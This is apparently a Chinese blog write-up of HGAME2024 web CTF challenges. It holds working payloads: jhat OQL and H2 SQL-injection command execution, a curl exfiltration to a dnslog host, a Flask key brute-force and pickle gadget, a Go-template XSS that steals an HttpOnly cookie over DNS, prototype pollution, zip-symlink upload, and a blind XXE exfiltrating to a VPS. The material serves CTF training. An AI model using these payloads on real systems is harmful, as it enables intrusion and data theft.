HGAME2024-WEB WP

WEEK 1

2048*16

直接把前端全部扒下来,自己搭建一个本地的环境,我这里用vscode搭建了一个。

然后看下js代码,这里混淆了一堆,实在是难看,就找关键的地方,题目所说的32768

找到了上面这个算式,他的结果就算32768,所以我们只需要将这里修改:

然后本地起服务,随便玩几下,即可得到flag:

Bypass it

通过抓包注册路由可知,前端有代码干扰我们注册:

那么这里我们直接把浏览器的javascript功能禁用,就可以正常注册登录:

写完题目后记得把功能开启!

jhat

oql查询处可以rce,但是根据hint不出网,所以需要回显到页面上,

payload:

new java.util.Scanner(new java.lang.ProcessBuilder("cat","flag").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()

Select Courses

用request库或者bp一直发选课的数据包即可,emmmm莫名其妙的题目.....(

ezHTTP

把响应头那边的字符串base64解码即可:

WEEK2

search4member

h2 sql注入

看源码中可以看到注入点:

这里可以拼接造成注入:

哈%' union select 1,2,3 //

那么也就可以执行sql语句了,直接来个rce:

//创建别名 
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$; 
//调用SHELLEXEC执行命令 
CALL SHELLEXEC('id'); 
CALL SHELLEXEC('whoami');

依次输入以下payload:

a%25';CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";%20 }$$%3B+%2F%2F

a%25';CALL SHELLEXEC('bash -c {echo,Y3VybCBgdGFjIC9mKnxiYXNlNjRgLnowbWN1eC5kbnNsb2cuY24=}|{base64,-d}|{bash,-i}')%3B+%2F%2F

成功带入flag

myflask

以当前时间戳作为密钥,那么直接爆破:

# -*- coding: utf-8 -*-
# @Time : 2022/9/17 9:11
# @Author : pysnow
import os

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else:  # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


class FSCM(ABC):
    def encode(secret_key, session_cookie_structure):
        """ Encode a Flask session cookie """
        try:
            app = MockApp(secret_key)

            session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)

            return s.dumps(session_cookie_structure)
        except Exception as e:
            return "[Encoding error] {}".format(e)
            raise e

    def decode(session_cookie_value, secret_key=None):
        """ Decode a Flask cookie  """
        try:
            if (secret_key == None):
                compressed = False
                payload = session_cookie_value

                if payload.startswith('.'):
                    compressed = True
                    payload = payload[1:]

                data = payload.split(".")[0]

                data = base64_decode(data)
                if compressed:
                    data = zlib.decompress(data)

                return data
            else:
                app = MockApp(secret_key)

                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.loads(session_cookie_value)
        except Exception as e:
            return "[Decoding error] {}".format(e)
            raise e


dic = '0123456789abcdef'
if __name__ == '__main__':
    for i in range(199000,200339):
        #print(i)
        res = FSCM.decode('eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZcDOEg.XMIkIdvcD9vv8ZHRbxKKzzp68OQ', str(i))
        print(res)
        if 'guest' in str(res):
            print(str(res))
            print(i)
            #print(key)
            exit()

接着爆破出密钥后伪造session,访问flag路由打pickle反序列化即可:

import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (eval,("__import__(\"os\").popen('cat /flag').read()",))

a=A()
b=pickle.dumps(a)
print(base64.b64encode(b))

Select More Courses

直接爆破出密码:qwert123

登录上去以后去扩学分处不断用bp发包,然后去选课即可:

What the cow say?

拿个反引号一包,就可以执行命令了(不好评价......

梅开二度

利用go的ssti来绕过html编码限制,进行xss(魔鬼吧。。。。。

开局给出了源码:

package main

import (
	"context"
	"log"
	"net/url"
	"os"
	"regexp"
	"sync"
	"text/template"
	"time"

	"github.com/chromedp/chromedp"
	"github.com/gin-gonic/gin"
	"golang.org/x/net/html"
)

var re = regexp.MustCompile(`script|file|on`)

var lock sync.Mutex

func main() {
	allocCtx, cancel := chromedp.NewExecAllocator(context.Background(), append(chromedp.DefaultExecAllocatorOptions[:],
		chromedp.NoSandbox, chromedp.DisableGPU)...)
	defer cancel()

	r := gin.Default()
	r.GET("/", func(c *gin.Context) {
		tmplStr := c.Query("tmpl")
		if tmplStr == "" {
			tmplStr = defaultTmpl
		} else {
			if re.MatchString(tmplStr) {
				c.String(403, "tmpl contains invalid word")
				return
			}
			if len(tmplStr) > 50 {
				c.String(403, "tmpl is too long")
				return
			}
			tmplStr = html.EscapeString(tmplStr)
		}
		tmpl, err := template.New("resp").Parse(tmplStr)
		if err != nil {
			c.String(500, "parse template error: %v", err)
			return
		}
		if err := tmpl.Execute(c.Writer, c); err != nil {
			c.String(500, "execute template error: %v", err)
		}
	})

	r.GET("/bot", func(c *gin.Context) {
		rawURL := c.Query("url")
		u, err := url.Parse(rawURL)
		if err != nil {
			c.String(403, "url is invalid")
			return
		}
		if u.Host != "127.0.0.1:8080" {
			c.String(403, "host is invalid")
			return
		}
		go func() {
			lock.Lock()
			defer lock.Unlock()

			ctx, cancel := chromedp.NewContext(allocCtx,
				chromedp.WithBrowserOption(chromedp.WithDialTimeout(10*time.Second)),
			)
			defer cancel()
			ctx, _ = context.WithTimeout(ctx, 20*time.Second)
			if err := chromedp.Run(ctx,
				chromedp.Navigate(u.String()),
				chromedp.Sleep(time.Second*10),
			); err != nil {
				log.Println(err)
			}
		}()
		c.String(200, "bot will visit it.")
	})

	r.GET("/flag", func(c *gin.Context) {
		if c.RemoteIP() != "127.0.0.1" {
			c.String(403, "you are not localhost")
			return
		}
		flag, err := os.ReadFile("/flag")
		if err != nil {
			c.String(500, "read flag error")
			return
		}
		c.SetCookie("flag", string(flag), 3600, "/", "", false, true)
		c.Status(200)
	})
	r.Run(":8080")
}

const defaultTmpl = `
<!DOCTYPE html>
<html>
<head>
	<title>YOU ARE</title>
</head>
<body>
	<div>欢迎来自 {{.RemoteIP}} 的朋友</div>
	<div>你的 User-Agent 是 {{.GetHeader "User-Agent"}}</div>
	<div>flag在bot手上,想办法偷过来</div>
</body>
`

一看就是要xss,那么我们的思路是通过xss让靶机的本地请求/flag路由,然后将cookie发送到我们的靶机上。

那么要想实现上述思路,就算需要让靶机的本地进行xss,那么如何让靶机本机进行xss呢,我们看到/bot路由可以让我们请求靶机的本地,而/路由下可以让我们传参tmpl来自定义页面。

假如没有限制,我们可以构造类似:

/bot?url=http://127.0.0.1:8080/?tmpl=<script>alert('gxngxngxn')</script>

这样就可以实现靶机的本地xss,但是这里会对传入的值进行html实体编码,此外还继续正则匹配和长度限制,这也就断绝了我们直接传xss代码的可能,于是想到利用go的模板渲染来进行绕过。

这里也是经过了一些查找,找到了{{index .Request.URL.Query.gxngxngxn 0}},利用此模板,可以获取我们传入的参数gxngxngxn的值到页面上,也就达到了任意可控的目的

xss成功,而且不受任何限制,完美!

那么接下来我们就是要带cookie了,我们可以看到源码中设置cookie的那一段:

    c.SetCookie("flag", string(flag), 3600, "/", "", false, true)

这里你本地测试后会发现,这里开启了httponly,也就不能通过寻常的js代码带出,那么这里怎么绕呢?答案还是go的ssti,利用{{.Request.Header}}这个模板,可以打印出我们头部所有信息,其中也包括我们的cookie

ok,两大问题限制都解决了,那么接下俩带出数据就行,由于靶机不出网,所以我们用dns来接收 (大坑!!!)

这边直接给出exp:

location.href = 'http://127.0.0.1:8080/flag';
xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange = function() {
    if (xmlhttp.readyState == 4) {
       sendSecondRequest()
    }
};
function sendSecondRequest() {
  xmlhttp.open("GET", "/?tmpl={{print .Request.Header.Cookie}}", false);
  xmlhttp.onreadystatechange = function () {
    if (xmlhttp.readyState == 4) {
      var flag1=btoa(xmlhttp.responseText);
      //获取响应的数据,并进行base64加密
      var flag1Hex = "";
      for (var i = 0; i < flag1.length; i++) {
        flag1Hex += flag1.charCodeAt(i).toString(16);
      }
      //将响应的数据转化为十六进制,由于在线dnslog平台对字符数量有限制,所以我们通过截取来分段输出
      location.href = 'http://'+ flag1Hex.substring(148,200) +'.mzp9rx.dnslog.cn'
    }
  };
  xmlhttp.send('');
}
xmlhttp.open('GET', '/flag', false);
xmlhttp.send('');

将上述代码进行unicode编码后,构造如下payload:

bot?url=http://127.0.0.1:8080/?tmpl=%7B%7Bindex%20.Request.URL.Query.a%200%7D%7D%26a%3D%3CScript%3Eeval(%22%5Cu006c%5Cu006f%5Cu0063%5Cu0061%5Cu0074%5Cu0069%5Cu006f%5Cu006e%5Cu002e%5Cu0068%5Cu0072%5Cu0065%5Cu0066%5Cu0020%5Cu003d%5Cu0020%5Cu0027%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu003a%5Cu002f%5Cu002f%5Cu0031%5Cu0032%5Cu0037%5Cu002e%5Cu0030%5Cu002e%5Cu0030%5Cu002e%5Cu0031%5Cu003a%5Cu0038%5Cu0030%5Cu0038%5Cu0030%5Cu002f%5Cu0066%5Cu006c%5Cu0061%5Cu0067%5Cu0027%5Cu003b%5Cu000a%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu0020%5Cu003d%5Cu0020%5Cu006e%5Cu0065%5Cu0077%5Cu0020%5Cu0058%5Cu004d%5Cu004c%5Cu0048%5Cu0074%5Cu0074%5Cu0070%5Cu0052%5Cu0065%5Cu0071%5Cu0075%5Cu0065%5Cu0073%5Cu0074%5Cu0028%5Cu0029%5Cu003b%5Cu000a%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu0077%5Cu0069%5Cu0074%5Cu0068%5Cu0043%5Cu0072%5Cu0065%5Cu0064%5Cu0065%5Cu006e%5Cu0074%5Cu0069%5Cu0061%5Cu006c%5Cu0073%5Cu0020%5Cu003d%5Cu0020%5Cu0074%5Cu0072%5Cu0075%5Cu0065%5Cu003b%5Cu000a%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu006f%5Cu006e%5Cu0072%5Cu0065%5Cu0061%5Cu0064%5Cu0079%5Cu0073%5Cu0074%5Cu0061%5Cu0074%5Cu0065%5Cu0063%5Cu0068%5Cu0061%5Cu006e%5Cu0067%5Cu0065%5Cu0020%5Cu003d%5Cu0020%5Cu0066%5Cu0075%5Cu006e%5Cu0063%5Cu0074%5Cu0069%5Cu006f%5Cu006e%5Cu0028%5Cu0029%5Cu0020%5Cu007b%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0069%5Cu0066%5Cu0020%5Cu0028%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu0072%5Cu0065%5Cu0061%5Cu0064%5Cu0079%5Cu0053%5Cu0074%5Cu0061%5Cu0074%5Cu0065%5Cu0020%5Cu003d%5Cu003d%5Cu0020%5Cu0034%5Cu0029%5Cu0020%5Cu007b%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0073%5Cu0065%5Cu006e%5Cu0064%5Cu0053%5Cu0065%5Cu0063%5Cu006f%5Cu006e%5Cu0064%5Cu0052%5Cu0065%5Cu0071%5Cu0075%5Cu0065%5Cu0073%5Cu0074%5Cu0028%5Cu0029%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu007d%5Cu000a%5Cu007d%5Cu003b%5Cu000a%5Cu0066%5Cu0075%5Cu006e%5Cu0063%5Cu0074%5Cu0069%5Cu006f%5Cu006e%5Cu0020%5Cu0073%5Cu0065%5Cu006e%5Cu0064%5Cu0053%5Cu0065%5Cu0063%5Cu006f%5Cu006e%5Cu0064%5Cu0052%5Cu0065%5Cu0071%5Cu0075%5Cu0065%5Cu0073%5Cu0074%5Cu0028%5Cu0029%5Cu0020%5Cu007b%5Cu000a%5Cu0020%5Cu0020%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu006f%5Cu0070%5Cu0065%5Cu006e%5Cu0028%5Cu0022%5Cu0047%5Cu0045%5Cu0054%5Cu0022%5Cu002c%5Cu0020%5Cu0022%5Cu002f%5Cu003f%5Cu0074%5Cu006d%5Cu0070%5Cu006c%5Cu003d%5Cu007b%5Cu007b%5Cu0070%5Cu0072%5Cu0069%5Cu006e%5Cu0074%5Cu0020%5Cu002e%5Cu0052%5Cu0065%5Cu0071%5Cu0075%5Cu0065%5Cu0073%5Cu0074%5Cu002e%5Cu0048%5Cu0065%5Cu0061%5Cu0064%5Cu0065%5Cu0072%5Cu002e%5Cu0043%5Cu006f%5Cu006f%5Cu006b%5Cu0069%5Cu0065%5Cu007d%5Cu007d%5Cu0022%5Cu002c%5Cu0020%5Cu0066%5Cu0061%5Cu006c%5Cu0073%5Cu0065%5Cu0029%5Cu003b%5Cu000a%5Cu0020%5Cu0020%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu006f%5Cu006e%5Cu0072%5Cu0065%5Cu0061%5Cu0064%5Cu0079%5Cu0073%5Cu0074%5Cu0061%5Cu0074%5Cu0065%5Cu0063%5Cu0068%5Cu0061%5Cu006e%5Cu0067%5Cu0065%5Cu0020%5Cu003d%5Cu0020%5Cu0066%5Cu0075%5Cu006e%5Cu0063%5Cu0074%5Cu0069%5Cu006f%5Cu006e%5Cu0020%5Cu0028%5Cu0029%5Cu0020%5Cu007b%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0069%5Cu0066%5Cu0020%5Cu0028%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu0072%5Cu0065%5Cu0061%5Cu0064%5Cu0079%5Cu0053%5Cu0074%5Cu0061%5Cu0074%5Cu0065%5Cu0020%5Cu003d%5Cu003d%5Cu0020%5Cu0034%5Cu0029%5Cu0020%5Cu007b%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0076%5Cu0061%5Cu0072%5Cu0020%5Cu0066%5Cu006c%5Cu0061%5Cu0067%5Cu0031%5Cu003d%5Cu0062%5Cu0074%5Cu006f%5Cu0061%5Cu0028%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu0072%5Cu0065%5Cu0073%5Cu0070%5Cu006f%5Cu006e%5Cu0073%5Cu0065%5Cu0054%5Cu0065%5Cu0078%5Cu0074%5Cu0029%5Cu003b%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0076%5Cu0061%5Cu0072%5Cu0020%5Cu0066%5Cu006c%5Cu0061%5Cu0067%5Cu0031%5Cu0048%5Cu0065%5Cu0078%5Cu0020%5Cu003d%5Cu0020%5Cu0022%5Cu0022%5Cu003b%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0066%5Cu006f%5Cu0072%5Cu0020%5Cu0028%5Cu0076%5Cu0061%5Cu0072%5Cu0020%5Cu0069%5Cu0020%5Cu003d%5Cu0020%5Cu0030%5Cu003b%5Cu0020%5Cu0069%5Cu0020%5Cu003c%5Cu0020%5Cu0066%5Cu006c%5Cu0061%5Cu0067%5Cu0031%5Cu002e%5Cu006c%5Cu0065%5Cu006e%5Cu0067%5Cu0074%5Cu0068%5Cu003b%5Cu0020%5Cu0069%5Cu002b%5Cu002b%5Cu0029%5Cu0020%5Cu007b%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0066%5Cu006c%5Cu0061%5Cu0067%5Cu0031%5Cu0048%5Cu0065%5Cu0078%5Cu0020%5Cu002b%5Cu003d%5Cu0020%5Cu0066%5Cu006c%5Cu0061%5Cu0067%5Cu0031%5Cu002e%5Cu0063%5Cu0068%5Cu0061%5Cu0072%5Cu0043%5Cu006f%5Cu0064%5Cu0065%5Cu0041%5Cu0074%5Cu0028%5Cu0069%5Cu0029%5Cu002e%5Cu0074%5Cu006f%5Cu0053%5Cu0074%5Cu0072%5Cu0069%5Cu006e%5Cu0067%5Cu0028%5Cu0031%5Cu0036%5Cu0029%5Cu003b%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu007d%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu006c%5Cu006f%5Cu0063%5Cu0061%5Cu0074%5Cu0069%5Cu006f%5Cu006e%5Cu002e%5Cu0068%5Cu0072%5Cu0065%5Cu0066%5Cu0020%5Cu003d%5Cu0020%5Cu0027%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu003a%5Cu002f%5Cu002f%5Cu0027%5Cu002b%5Cu0020%5Cu0066%5Cu006c%5Cu0061%5Cu0067%5Cu0031%5Cu0048%5Cu0065%5Cu0078%5Cu002e%5Cu0073%5Cu0075%5Cu0062%5Cu0073%5Cu0074%5Cu0072%5Cu0069%5Cu006e%5Cu0067%5Cu0028%5Cu0031%5Cu0034%5Cu0038%5Cu002c%5Cu0032%5Cu0030%5Cu0030%5Cu0029%5Cu0020%5Cu002b%5Cu0027%5Cu002e%5Cu006d%5Cu007a%5Cu0070%5Cu0039%5Cu0072%5Cu0078%5Cu002e%5Cu0064%5Cu006e%5Cu0073%5Cu006c%5Cu006f%5Cu0067%5Cu002e%5Cu0063%5Cu006e%5Cu0027%5Cu0020%5Cu000a%5Cu0020%5Cu0020%5Cu0020%5Cu0020%5Cu007d%5Cu000a%5Cu0020%5Cu0020%5Cu007d%5Cu003b%5Cu000a%5Cu0020%5Cu0020%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu0073%5Cu0065%5Cu006e%5Cu0064%5Cu0028%5Cu0027%5Cu0027%5Cu0029%5Cu003b%5Cu000a%5Cu007d%5Cu000a%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu006f%5Cu0070%5Cu0065%5Cu006e%5Cu0028%5Cu0027%5Cu0047%5Cu0045%5Cu0054%5Cu0027%5Cu002c%5Cu0020%5Cu0027%5Cu002f%5Cu0066%5Cu006c%5Cu0061%5Cu0067%5Cu0027%5Cu002c%5Cu0020%5Cu0066%5Cu0061%5Cu006c%5Cu0073%5Cu0065%5Cu0029%5Cu003b%5Cu000a%5Cu0078%5Cu006d%5Cu006c%5Cu0068%5Cu0074%5Cu0074%5Cu0070%5Cu002e%5Cu0073%5Cu0065%5Cu006e%5Cu0064%5Cu0028%5Cu0027%5Cu0027%5Cu0029%5Cu003b%22)%253b%3C%2FScript%3E

注意上述url编码中有很多小细节需要注意,稍微错误就会导致失效,所以建议先本地测试,方便看清楚我们传的值究竟是什么

(ps:md,在构造上述payload的过程中几乎把所有坑都踩了一遍,无语了)

成功接收到十六进制数据,转化为字符串后进行base64解密即可:

WEEK3

WebVPN

审源码可以看到update那里很明显的原型链污染,直接传

POST /user/info HTTP/1.1
Host: 106.14.57.14:31371
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: my-webvpn-session-id-202c35e8-7d61-4228-8278-93f8f662551f=s%3AaFLajep37rbWq895NmUZTymAgCGqTEE5.ZdUxLauYiFTmPI7W8x2eqbVlZQEdNDpzIldfVQqotCA
Upgrade-Insecure-Requests: 1
If-None-Match: W/"2fb-vN/YK1PeVghRxrmf1mEfj9Me4gw"
Content-Type: application/json
Content-Length: 49

{"constructor":{"prototype":{"127.0.0.1": true}}}

再回到home页面,看到污染成功

接着直接访问即可

得到Proxy文件,打开即为flag

首先我们要通过/api/user处拿到Admin的密码,但是从源码中可以看到限制了我们username和token不能传Admin和0000,所以这里怎么办呢?

参考:Go语言特性引发的安全问题的思考 | CTF导航 (ctfiot.com)

看到是gorm数据库和json类型的结合,这个gorm库其实也可以通过id来定位,那么Admin的id是0,直接传:

{"Username":"","id":0}

即可得到Admin的密码

登录进去后看到可以上传文件,还有解压的功能:

这个一眼就是ciscn2023 unzip的解法,直接参考我之前写的:https://www.cnblogs.com/gxngxngxn/p/17439035.html

通过软连接弄两个压缩包,分别传上去,然后全部解压即可

这里只需将secret覆盖,里面的内容换成/flag即可

import requests

Cookie={"session":"MTcwNzk5ODExOXxEWDhFQVFMX2dBQUJFQUVRQUFBbl80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWNBQlVGa2JXbHV8_LDldFLPPX3ke76aWroLAK2oFDpN-3gU6pg7-OpdtM0="}
def upload_zip_file(url, file_path):
    try:
        file_name = '2.zip'  # 指定要上传的文件名
        files = {'file': (file_name, open(file_path, 'rb'), 'application/zip')}
        response = requests.post(url, files=files,cookies=Cookie)

        if response.status_code == requests.codes.ok:
            print(response.text)
            print("文件上传成功!")
        else:
            print("文件上传失败!")

    except IOError as e:
        print(f"文件打开错误:{e}")

# 示例用法
upload_url = "http://106.14.57.14:30864/api/upload"
zip_file_path = "C:\\Users\\86183\\Desktop\\fsdownload\\2.zip"
upload_zip_file(upload_url, zip_file_path)

然后访问/api/secret即可得到flag:

VidarBox

给出了源码:

package org.vidar.controller;


import org.springframework.core.io.DefaultResourceLoader;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
import org.xml.sax.helpers.XMLReaderFactory;

import java.io.*;

@Controller
public class BackdoorController {

​    private String workdir = "file:///non_exist/";
​    private String suffix = ".xml";

​    @RequestMapping("/")
​    public String index() {
​        return "index.html";
​    }

​    @GetMapping({"/backdoor"})
​    @ResponseBody
​    public String hack(@RequestParam String fname) throws IOException, SAXException {
​        DefaultResourceLoader resourceLoader = new DefaultResourceLoader();
​        byte[] content = resourceLoader.getResource(this.workdir + fname + this.suffix).getContentAsByteArray();

​        if (content != null && this.safeCheck(content)) {
​            XMLReader reader = XMLReaderFactory.*createXMLReader*();
​            reader.parse(new InputSource(new ByteArrayInputStream(content)));
​            return "success";
​        } else {
​            return "error";
​        }
​    }

​    private boolean safeCheck(byte[] stream) throws IOException {
​        String content = new String(stream);
​        return !content.contains("DOCTYPE") && !content.contains("ENTITY") &&
​                !content.contains("doctype") && !content.contains("entity");
​    }

}

源码很简单,通过/backdoor路由可以读取本地文件,然后会将读取的文件当成xml解析,这里很明显的就是打一个无回显xxe,我们可以采用带出数据到自己服务器上的方式解决。

由于我们熟知的file协议一般用来读取本地文件,所以这边先本地搭建环境打打:

这边本地放一个1.xml文件

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://81.70.252.29/1.dtd">
%remote;%int;%send;
]>

然后在vps上放个1.dtd文件:

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://81.70.252.29/1.txt?p=%file;'>">

我们看到这里有check,那么很简单,用编码绕过即可

iconv -f utf8 -t utf16 1.xml>2.xml

得到2.xml,我们直接读取看看:

可以看到带出本地数据成功了,那么接下来就是要如何读取远程的文件了,我们的思路很简单:

将2.xml放到vps上,然后让靶机读取即可

那么这里就有新的问题了,用file协议怎么读取远程文件呢,一般我们认为file协议都是用来读取本地文件的

直到我看到了这段话

这说明file协议有着ftp协议类似的效果,我们可以本地调试一下:

传入如上数据时,我们可以看到报错了,很明显这是ftp的报错,因为我们传入了错误的账号密码

虽然错了,但是证明了ftp协议是成功了,我们可以读取远程的文件,那么接下来只需要传入正确的账号密码即可

我们下断点,跟进调试可知:

如果我们没有传入账号密码,那么这里会自动给我们传入一个默认的账号密码:

账号是anonymous,密码跟你的jdk版本有关

我这里是17.0.10,所以我默认密码是Java17.0.10@

那么靶机的jdk版本是多少呢,这里我就猜了一下

从17.0.0-17.0.10一个个试,很幸运靶机的jdk版本是17.0.1,成功命中

那么我们在vps上起个ftp服务,将账号密码如上设置为anonymous:Java17.0.1@,并将2.xml放在目录下,接着在靶机处连接即可:

成功拿到flag

posted @ 2024-02-15 17:54  gxngxngxn  阅读(386)  评论(1编辑  收藏  举报